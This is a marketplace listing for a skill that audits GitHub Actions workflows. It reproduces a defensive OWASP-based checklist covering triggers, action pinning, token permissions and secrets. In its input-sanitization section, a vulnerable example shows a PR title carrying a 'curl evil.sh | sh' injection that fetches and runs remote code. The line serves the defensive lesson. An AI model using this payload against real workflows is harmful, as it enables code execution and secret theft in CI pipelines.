agentsclimarketplace

Github actions security review

Skill Fyzel/claude-skills/skills/github-actions-security-review

A collection of Claude skills.

Install
npx -y skills add Fyzel/claude-skills --skill github-actions-security-review

Assembled from the repository path, not quoted from the project. Check it against their README if it does not work.

One thing to look at

  • 1 stars1 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.

What its author says it does

Copied from the file, not written here

Audits and hardens GitHub Actions workflows against the OWASP GitHub Actions Security Cheat Sheet: dangerous triggers (pull_request_target, workflow_run, issue_comment), unpinned or impostor third-party actions, GITHUB_TOKEN over-permissioning, script injection, secrets handling (static creds, secrets: inherit, masking, secret scanning, persist-credentials), artifact/cache poisoning, self-hosted runner risk, egress restriction, repo hardening, AI-assistant-in-CI/CD risk, and static analysis (CodeQL actions, Zizmor). Use whenever a user asks to review, audit, secure, or harden a GitHub Actions workflow or CI/CD pipeline; mentions .github/workflows, GITHUB_TOKEN, pull_request_target, workflow_run, self-hosted runners, action pinning, OIDC/trusted publishing, or Zizmor/CodeQL for Actions; or wants a new workflow written securely. Always run the Security Gate before returning Actions YAML, whether reviewing existing files or generating new ones.

SKILL.md

13.4 KB, as published. Nobody here has run it

GitHub Actions Security Verification

Based on the OWASP GitHub Actions Security Cheat Sheet

CI/CD pipelines hold long-lived credentials and a GITHUB_TOKEN that can have write access to the repository. A compromised workflow is a compromised production system. This skill treats GitHub Actions workflows as security-critical code and verifies them — or writes them — against every check documented in the OWASP GitHub Actions Security Cheat Sheet.

The cheat sheet frames the risk around four outcomes, and every check below maps back to preventing one of them:

  1. Secrets exfiltration — long-lived credentials printed to logs, sent to an external endpoint, or embedded in an artifact via attacker-controlled code execution.
  2. GITHUB_TOKEN compromise — a write-scoped token stolen or misused to modify repo contents, releases, or other GitHub resources.
  3. Cache/artifact poisoning — malicious content injected into a shared cache or artifact that a later, more privileged workflow (e.g. a release pipeline) trusts and executes.
  4. Denial-of-wallet — attacker-triggered pipeline runs that rack up cost against paid external services (e.g. LLM-based code review).

Step 0 — Locate what to verify

# Workflow files
find .github/workflows -type f \( -name "*.yml" -o -name "*.yaml" \) 2>/dev/null

# Composite / local reusable actions (checked separately — same rules apply)
find .github/actions -type f -name "action.yml" -o -name "action.yaml" 2>/dev/null

# Dependency-update tooling, if present
find .github -maxdepth 1 -iname "dependabot.yml" -o -iname "renovate.json*" 2>/dev/null

If the user pasted a workflow inline or uploaded one, verify that file directly instead of searching the filesystem. If nothing is found, ask whether they want to scaffold a new, secure-by-default workflow instead — see Step 3.


Step 1 — Run the Security Gate

For every workflow and composite action file found, check each row below. Read the linked reference file for detection patterns and full remediation code before making a final call — some of these require judgement (e.g. "is this third-party action trustworthy?"), not just a grep.

🚫 CRITICAL — code-execution / secret-exfiltration risk. Do not certify a workflow as safe, and do not hand the user new YAML, while any of these are open.

#ControlOWASP sectionReference
C1pull_request_target never checks out or executes untrusted PR head codeAvoid using the pull_request_target triggerreferences/dangerous-triggers.md
C2workflow_run isn't used to escalate privilege on attacker-influenced input; prefer workflow_callAvoid using the workflow_run triggerreferences/dangerous-triggers.md
C3issue_comment workflows check actor authorization and check out an immutable commit SHA, never a branch/PR numberUse issue_comment trigger with extra carereferences/dangerous-triggers.md
C4No untrusted context (github.event.*, PR titles, issue bodies, branch names, etc.) is interpolated directly into run:; it's passed through an intermediate env: varSanitize user inputreferences/dangerous-triggers.md
C5Every third-party action and reusable workflow is pinned to a full-length commit SHA (not a tag or branch), and the SHA is verified to belong to the claimed org/repo (no impostor commit)Always pin all action and reusable workflow versions with a commit hashreferences/pinning-and-supply-chain.md
C6Workflow sets permissions: {} at the top level and grants only the specific, minimal permissions needed at the job levelMinimize GITHUB_TOKEN permissionsThis file, § Minimize GITHUB_TOKEN permissions
C7No reusable workflow call uses secrets: inherit; each required secret is passed explicitlyEliminate secrets: inherit while reusing workflowsreferences/secrets-and-tokens.md
C8actions/checkout sets persist-credentials: false unless the job genuinely needs to git push/perform other authenticated git operationsactions/checkout should be used with persist-credentials: falsereferences/secrets-and-tokens.md
C9No static/hardcoded secret, API key, or token appears literally in workflow YAMLSecure handling of static credentialsreferences/secrets-and-tokens.md
C10Any AI assistant step (Claude Code, Copilot, an LLM-based reviewer/triager) is scoped to the minimum tools/actions it needs, and is never reachable — with write-scoped GITHUB_TOKEN or secrets in context — from a trigger an untrusted user can fireBe careful with AI assistant running in CI/CD pipelinereferences/ai-assistants-and-input-sanitization.md

⚠️ STANDARD — defense-in-depth and hygiene. Warn and recommend; don't block on these alone.

#ControlOWASP sectionReference
S1CodeQL actions scanning and/or Zizmor are enabled and run as a required status check on PRs, plus a scheduled scanEnable static analysis for GitHub Actions workflowsreferences/repo-and-runner-hardening.md
S2Egress traffic from GitHub-hosted runners is monitored/restricted (e.g. Harden-Runner)Restrict egress traffic from GitHub-hosted runnersreferences/repo-and-runner-hardening.md
S3Self-hosted runners aren't used on public repos; if they are, they're ephemeral, network-restricted, hold no persistent sensitive data, and external-contributor runs require manual approvalUse self-hosted runners with extra cautionreferences/repo-and-runner-hardening.md
S4Caching is disabled in release/publish workflows to prevent artifact/cache poisoningPrevent artifact poisoningreferences/repo-and-runner-hardening.md
S5Third-party actions are vetted: trusted/active author, multiple contributors, stable code, no excessive permission requestsUse third-party actions with cautionreferences/pinning-and-supply-chain.md
S6Dependabot/Renovate keeps actions current, with a cooldown (cooldown / minimumReleaseAge) before adopting new releasesUse automated dependency update toolsreferences/pinning-and-supply-chain.md
S7Deployments to production/critical environments require manual approval via a GitHub EnvironmentRequire approval for deployments or publications to critical environmentsThis file, § Deployment approval
S8Static long-lived cloud/registry credentials are replaced with OIDC-based short-lived tokens ("trusted publishing") wherever the provider supports itTry to eliminate all static credentials from your workflowsreferences/secrets-and-tokens.md
S9If static credentials are unavoidable: passed at step level (not job level), preferring environment-scoped secrets, rotated regularlySecure handling of static credentialsreferences/secrets-and-tokens.md
S10Sensitive values that aren't GitHub secrets are masked with ::add-mask:: before they can hit the logMask sensitive datareferences/secrets-and-tokens.md
S11Secret scanning runs both pre-commit and on pull requests, failing the check on detectionUse secret scanning toolsreferences/secrets-and-tokens.md
S12Repository settings are hardened: Require approval for all external contributors, default GITHUB_TOKEN restricted to read-only at the repo/org level, branch protection requiring reviews + status checks + signed commits + CODEOWNERSHarden repository settingsreferences/repo-and-runner-hardening.md

Two OWASP recommendations are organizational rather than per-file checks, but raise them whenever relevant: treat the CI/CD pipeline itself as critical production code (threat modeling, secure code review, pen testing — see references/repo-and-runner-hardening.md), and have an incident response plan in place for pipeline compromise before it's needed.


Gate response format

When any CRITICAL item is open, lead with this before anything else in the response:

🚫 GitHub Actions Security Gate — NOT CLEAR

.github/workflows/release.yml

  [C5] Unpinned third-party action — actions-ecosystem/action-something@v2 is pinned to a
       mutable tag, not a commit SHA.
       OWASP: "Always pin all action and reusable workflow versions with a commit hash..."
       Risk: a compromised or malicious release of this action runs with this workflow's
       permissions and any secrets in scope.
       Fix: pin to the full commit SHA, e.g.
       uses: actions-ecosystem/action-something@a1b2c3d... # v2.1.0

  [C6] Missing default-deny permissions — no top-level `permissions:` block, so GITHUB_TOKEN
       gets the repository's default permissions (commonly read/write).
       OWASP: "Always set permissions: {} at the workflow level..."
       Fix: add `permissions: {}` at the top of the workflow and grant only what each job needs.

2 CRITICAL issues found. Resolve these before this workflow is safe to merge/run.

List every STANDARD finding after the CRITICAL section (or on its own if there are no CRITICAL findings) as recommendations rather than blockers. If everything passes, say so plainly and summarize the checks that were verified — don't manufacture findings to seem thorough.


Step 2 — Category detail and patterns

Minimize GITHUB_TOKEN permissions (C6)

Default-deny at the workflow level, then grant narrowly per job:

permissions: {}

jobs:
  build:
    runs-on: ubuntu-latest
    permissions:
      contents: read
    steps: [...]

  publish-release:
    runs-on: ubuntu-latest
    permissions:
      contents: write   # only the job that actually needs it
    steps: [...]

Deployment approval (S7)

jobs:
  deploy-prod:
    runs-on: ubuntu-latest
    environment: production   # requires manual approval if configured with required reviewers
    permissions:
      contents: read
      id-token: write
    steps: [...]

Configure the required reviewers list under the repository's Environments settings — the environment: key alone doesn't enforce approval, it just targets the environment whose rules then apply.

Sanitize user input (C4)

Never interpolate untrusted context straight into a shell step — GitHub expands ${{ ... }} before the shell ever sees it, so attacker-controlled text (a PR title, issue body, commit message, branch name) becomes literal shell syntax.

# ❌ Vulnerable — a PR titled `"; curl evil.sh | sh #` runs arbitrary shell
- run: echo "Building PR: ${{ github.event.pull_request.title }}"

# ✅ Safe — the value is passed as data through an env var, not spliced into the script
- env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: echo "Building PR: $PR_TITLE"

Apply this consistently even for contexts that look "safe" (e.g. github.repository) — it costs nothing and removes the need to reason about which contexts are attacker-influenced today versus tomorrow.


Step 3 — Writing new workflows

When asked to scaffold a workflow rather than audit one, apply every CRITICAL control from the gate by construction: permissions: {} at the top, pinned-by-SHA actions, persist-credentials: false on checkout unless push access is required, no secrets: inherit, sanitized context handling, and OIDC over static credentials wherever the target (cloud provider, package registry) supports trusted publishing. Then run the same gate against the result before handing it back — generated code gets no exemption from verification.


Reference files

FileRead when
references/dangerous-triggers.mdAny workflow uses pull_request_target, workflow_run, or issue_comment, or writes/reviews a fork-facing PR workflow
references/pinning-and-supply-chain.mdThird-party actions/reusable workflows are used; setting up or reviewing Dependabot/Renovate
references/secrets-and-tokens.mdAny workflow touches secrets, cloud/registry credentials, actions/checkout, or reusable-workflow secret passing
references/repo-and-runner-hardening.mdReviewing repo settings, self-hosted runners, static analysis (CodeQL/Zizmor) setup, or release/publish workflows (cache poisoning)
references/ai-assistants-and-input-sanitization.mdA workflow runs an AI assistant/LLM step (code review, issue triage, auto-reply bots)

Keep looking

Skills are one crate of 328,083. Ordering is by how many stacks a row turns up in, so the top of any crate is what has actually been picked rather than what has the most stars.